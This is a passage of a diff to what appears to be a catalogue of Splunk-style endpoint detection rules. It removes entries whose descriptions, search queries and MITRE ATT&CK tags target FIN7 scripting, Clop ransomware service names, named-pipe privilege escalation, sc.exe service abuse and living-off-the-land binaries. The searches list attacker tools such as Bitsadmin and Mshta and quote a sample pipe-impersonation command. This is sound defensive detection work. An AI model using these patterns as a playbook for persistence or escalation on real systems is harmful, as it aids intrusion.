"endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1014", - "mitre_attack_technique": "Rootkit", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Rocke", - "TeamTNT", - "Winnti Group" - ] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -130730,385 +117098,6 @@ "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" ] - }, - { - "name": "Cmdline Tool Not Executed In CMD Shell", - "description": "The following analytic identifies instances where `ipconfig.exe`, `systeminfo.exe`, or similar tools are executed by a non-standard parent process, excluding CMD, PowerShell, or Explorer. This detection leverages Endpoint Detection and Response (EDR) telemetry to monitor process creation events. Such behavior is significant as it may indicate adversaries using injected processes to perform system discovery, a tactic observed in FIN7's JSSLoader. If confirmed malicious, this activity could allow attackers to gather critical host information, aiding in further exploitation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = \"ipconfig.exe\" OR Processes.process_name = \"systeminfo.exe\" OR Processes.process_name = \"net.exe\" OR Processes.process_name = \"net1.exe\" OR Processes.process_name = \"arp.exe\" OR Processes.process_name = \"nslookup.exe\" OR Processes.process_name = \"route.exe\" OR Processes.process_name = \"netstat.exe\" OR Processes.process_name = \"whoami.exe\") AND NOT (Processes.parent_process_name = \"cmd.exe\" OR Processes.parent_process_name = \"powershell*\" OR Processes.parent_process_name=\"pwsh.exe\" OR Processes.parent_process_name = \"explorer.exe\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cmdline_tool_not_executed_in_cmd_shell_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-277A", - "CISA AA23-347A", - "DarkGate Malware", - "FIN7", - "Qakbot", - "Rhysida Ransomware", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A non-standard parent process $parent_process_name$ spawned child process $process_name$ to execute command-line tool on $dest$.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.007", - "mitre_attack_technique": "JavaScript", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "Cobalt Group", - "Earth Lusca", - "Ember Bear", - "Evilnum", - "FIN6", - "FIN7", - "Higaisa", - "Indrik Spider", - "Kimsuky", - "LazyScripter", - "Leafminer", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Sidewinder", - "Silence", - "TA505", - "Turla" - ] - } - ] - } - }, - { - "name": "Jscript Execution Using Cscript App", - "description": "The following analytic detects the execution of JScript using the cscript.exe process. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This behavior is significant because JScript files are typically executed by wscript.exe, making cscript.exe execution unusual and potentially indicative of malicious activity, such as the FIN7 group's tactics. If confirmed malicious, this activity could allow attackers to execute arbitrary scripts, leading to code execution, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"cscript.exe\" AND Processes.parent_process = \"*//e:jscript*\") OR (Processes.process_name = \"cscript.exe\" AND Processes.process = \"*//e:jscript*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `jscript_execution_using_cscript_app_filter`", - "tags": { - "analytic_story": [ - "FIN7", - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Process name $process_name$ with commandline $process$ to execute jscript in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.007", - "mitre_attack_technique": "JavaScript", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "Cobalt Group", - "Earth Lusca", - "Ember Bear", - "Evilnum", - "FIN6", - "FIN7", - "Higaisa", - "Indrik Spider", - "Kimsuky", - "LazyScripter", - "Leafminer", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Sidewinder", - "Silence", - "TA505", - "Turla" - ] - } - ] - } - }, - { - "name": "MS Scripting Process Loading Ldap Module", - "description": "The following analytic detects the execution of MS scripting processes (wscript.exe or cscript.exe) loading LDAP-related modules (Wldap32.dll, adsldp.dll, adsldpc.dll). It leverages Sysmon EventCode 7 to identify these specific DLL loads. This activity is significant as it may indicate an attempt to query LDAP for host information, a behavior observed in FIN7 implants. If confirmed malicious, this could allow attackers to gather detailed Active Directory information, potentially leading to further exploitation or data exfiltration.", - "search": "`sysmon` EventCode =7 Image IN (\"*\\\\wscript.exe\", \"*\\\\cscript.exe\") ImageLoaded IN (\"*\\\\Wldap32.dll\", \"*\\\\adsldp.dll\", \"*\\\\adsldpc.dll\") | stats min(_time) as firstTime max(_time) as lastTime count by Image EventCode process_name ProcessId ProcessGuid Computer ImageLoaded | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ms_scripting_process_loading_ldap_module_filter`", - "tags": { - "analytic_story": [ - "FIN7" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "$process_name$ loading ldap modules $ImageLoaded$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.007", - "mitre_attack_technique": "JavaScript", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "Cobalt Group", - "Earth Lusca", - "Ember Bear", - "Evilnum", - "FIN6", - "FIN7", - "Higaisa", - "Indrik Spider", - "Kimsuky", - "LazyScripter", - "Leafminer", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Sidewinder", - "Silence", - "TA505", - "Turla" - ] - } - ] - } - }, - { - "name": "MS Scripting Process Loading WMI Module", - "description": "The following analytic detects the loading of WMI modules by Microsoft scripting processes like wscript.exe or cscript.exe. It leverages Sysmon EventCode 7 to identify instances where these scripting engines load specific WMI-related DLLs. This activity is significant because it can indicate the presence of malware, such as the FIN7 implant, which uses JavaScript to execute WMI queries for gathering host information to send to a C2 server. If confirmed malicious, this behavior could allow attackers to collect sensitive system information and maintain persistence within the environment.", - "search": "`sysmon` EventCode =7 Image IN (\"*\\\\wscript.exe\", \"*\\\\cscript.exe\") ImageLoaded IN (\"*\\\\fastprox.dll\", \"*\\\\wbemdisp.dll\", \"*\\\\wbemprox.dll\", \"*\\\\wbemsvc.dll\" , \"*\\\\wmiutils.dll\", \"*\\\\wbemcomn.dll\") | stats min(_time) as firstTime max(_time) as lastTime count by Image EventCode process_name ProcessId ProcessGuid Computer ImageLoaded | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ms_scripting_process_loading_wmi_module_filter`", - "tags": { - "analytic_story": [ - "FIN7" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "$process_name$ loading wmi modules $ImageLoaded$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.007", - "mitre_attack_technique": "JavaScript", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "Cobalt Group", - "Earth Lusca", - "Ember Bear", - "Evilnum", - "FIN6", - "FIN7", - "Higaisa", - "Indrik Spider", - "Kimsuky", - "LazyScripter", - "Leafminer", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Sidewinder", - "Silence", - "TA505", - "Turla" - ] - } - ] - } } ], "external_reference": [ @@ -131238,50 +117227,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Windows DNS Gather Network Info", - "description": "The following analytic detects the use of the dnscmd.exe command to enumerate DNS records. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line executions. This activity is significant as it may indicate an adversary gathering network information, a common precursor to more targeted attacks. If confirmed malicious, this behavior could enable attackers to map the network, identify critical assets, and plan subsequent actions, potentially leading to data exfiltration or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"dnscmd.exe\" Processes.process = \"* /enumrecords *\" by Processes.parent_process Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_dns_gather_network_info_filter`", - "tags": { - "analytic_story": [ - "Sandworm Tools", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process commandline $process$ to enumerate dns record in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1590.002", - "mitre_attack_technique": "DNS", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [], @@ -132681,1463 +118626,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Clop Ransomware Known Service Name", - "description": "The following analytic identifies the creation of a service with a known name used by CLOP ransomware for persistence and high-privilege code execution. It detects this activity by monitoring Windows Event Logs (EventCode 7045) for specific service names (\"SecurityCenterIBM\", \"WinCheckDRVs\"). This activity is significant because the creation of such services is a common tactic used by ransomware to maintain control over infected systems. If confirmed malicious, this could allow attackers to execute code with elevated privileges, maintain persistence, and potentially disrupt or encrypt critical data.", - "search": "`wineventlog_system` EventCode=7045 ServiceName IN (\"SecurityCenterIBM\", \"WinCheckDRVs\") | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ServiceName StartType ServiceType | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `clop_ransomware_known_service_name_filter`", - "tags": { - "analytic_story": [ - "Clop Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of a known Clop Ransomware Service Name detected on $dest$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "CMD Echo Pipe - Escalation", - "description": "The following analytic identifies the use of named-pipe impersonation for privilege escalation, commonly associated with Cobalt Strike and similar frameworks. It detects command-line executions where `cmd.exe` uses `echo` to write to a named pipe, such as `cmd.exe /c echo 4sgryt3436 > \\\\.\\Pipe\\5erg53`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant as it indicates potential privilege escalation attempts. If confirmed malicious, attackers could gain elevated privileges, enabling further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` OR Processes.process=*%comspec%* (Processes.process=*echo* AND Processes.process=*pipe*) by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cmd_echo_pipe___escalation_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ potentially performing privilege escalation using named pipes related to Cobalt Strike and other frameworks.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Randomly Generated Windows Service Name", - "description": "The following analytic detects the installation of a Windows Service with a suspicious, high-entropy name, indicating potential malicious activity. It leverages Event ID 7045 and the `ut_shannon` function from the URL ToolBox Splunk application to identify services with random names. This behavior is significant as adversaries often use randomly named services for lateral movement and remote code execution. If confirmed malicious, this activity could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": " `wineventlog_system` EventCode=7045 | lookup ut_shannon_lookup word as Service_Name | where ut_shannon > 3 | table EventCode ComputerName Service_Name ut_shannon Service_Start_Type Service_Type Service_File_Name | `randomly_generated_windows_service_name_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Service_File_Name", - "type": "Other", - "role": [ - "Other" - ] - }, - { - "name": "ComputerName", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Service with a suspicious service name was installed on $ComputerName$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Sc exe Manipulating Windows Services", - "description": "The following analytic detects the creation or modification of Windows services using the sc.exe command. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because manipulating Windows services can be a method for attackers to establish persistence, escalate privileges, or execute arbitrary code. If confirmed malicious, this behavior could allow an attacker to maintain long-term access, disrupt services, or gain control over critical system functions, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = sc.exe (Processes.process=\"* create *\" OR Processes.process=\"* config *\") by Processes.process_name Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `sc_exe_manipulating_windows_services_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "DHS Report TA18-074A", - "Disabling Security Tools", - "NOBELIUM Group", - "Orangeworm Attack Group", - "Windows Drivers", - "Windows Persistence Techniques", - "Windows Service Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A sc process $process_name$ with commandline $process$ to create of configure services in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Services LOLBAS Execution Process Spawn", - "description": "The following analytic identifies `services.exe` spawning a LOLBAS (Living Off the Land Binaries and Scripts) execution process. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where `services.exe` is the parent process. This activity is significant because adversaries often abuse the Service Control Manager to execute malicious code via native Windows binaries, facilitating lateral movement. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=services.exe) (Processes.process_name IN (\"Regsvcs.exe\", \"Ftp.exe\", \"OfflineScannerShell.exe\", \"Rasautou.exe\", \"Schtasks.exe\", \"Xwizard.exe\", \"Dllhost.exe\", \"Pnputil.exe\", \"Atbroker.exe\", \"Pcwrun.exe\", \"Ttdinject.exe\",\"Mshta.exe\", \"Bitsadmin.exe\", \"Certoc.exe\", \"Ieexec.exe\", \"Microsoft.Workflow.Compiler.exe\", \"Runscripthelper.exe\", \"Forfiles.exe\", \"Msbuild.exe\", \"Register-cimprovider.exe\", \"Tttracer.exe\", \"Ie4uinit.exe\", \"Bash.exe\", \"Hh.exe\", \"SettingSyncHost.exe\", \"Cmstp.exe\", \"Mmc.exe\", \"Stordiag.exe\", \"Scriptrunner.exe\", \"Odbcconf.exe\", \"Extexport.exe\", \"Msdt.exe\", \"WorkFolders.exe\", \"Diskshadow.exe\", \"Mavinject.exe\", \"Regasm.exe\", \"Gpscript.exe\", \"Rundll32.exe\", \"Regsvr32.exe\", \"Msiexec.exe\", \"Wuauclt.exe\", \"Presentationhost.exe\", \"Wmic.exe\", \"Runonce.exe\", \"Syncappvpublishingserver.exe\", \"Verclsid.exe\", \"Infdefaultinstall.exe\", \"Explorer.exe\", \"Installutil.exe\", \"Netsh.exe\", \"Wab.exe\", \"Dnscmd.exe\", \"At.exe\", \"Pcalua.exe\", \"Msconfig.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `services_lolbas_execution_process_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA23-347A", - "Living Off The Land", - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Services.exe spawned a LOLBAS process on $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Driver Loaded Path", - "description": "The following analytic detects the loading of drivers from suspicious paths, which is a technique often used by malicious software such as coin miners (e.g., xmrig). It leverages Sysmon EventCode 6 to identify drivers loaded from non-standard directories. This activity is significant because legitimate drivers typically reside in specific system directories, and deviations may indicate malicious activity. If confirmed malicious, this could allow an attacker to execute code at the kernel level, potentially leading to privilege escalation, persistence, or further system compromise.", - "search": "`sysmon` EventCode=6 ImageLoaded = \"*.sys\" NOT (ImageLoaded IN(\"*\\\\WINDOWS\\\\inf\",\"*\\\\WINDOWS\\\\System32\\\\drivers\\\\*\", \"*\\\\WINDOWS\\\\System32\\\\DriverStore\\\\FileRepository\\\\*\")) | stats min(_time) as firstTime max(_time) as lastTime count by dest ImageLoaded Hashes IMPHASH Signature Signed| rename ImageLoaded as file_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_driver_loaded_path_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "BlackByte Ransomware", - "CISA AA22-320A", - "Snake Keylogger", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious driver $file_name$ on $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious PlistBuddy Usage", - "description": "The following analytic identifies the use of the native macOS utility, PlistBuddy, to create or modify property list (.plist) files. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions involving PlistBuddy. This activity is significant because PlistBuddy can be used to establish persistence by modifying LaunchAgents, as seen in the Silver Sparrow malware. If confirmed malicious, this could allow an attacker to maintain persistence, execute arbitrary commands, and potentially escalate privileges on the compromised macOS system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=PlistBuddy (Processes.process=*LaunchAgents* OR Processes.process=*RunAtLoad* OR Processes.process=*true*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `suspicious_plistbuddy_usage_filter`", - "tags": { - "analytic_story": [ - "Silver Sparrow" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": 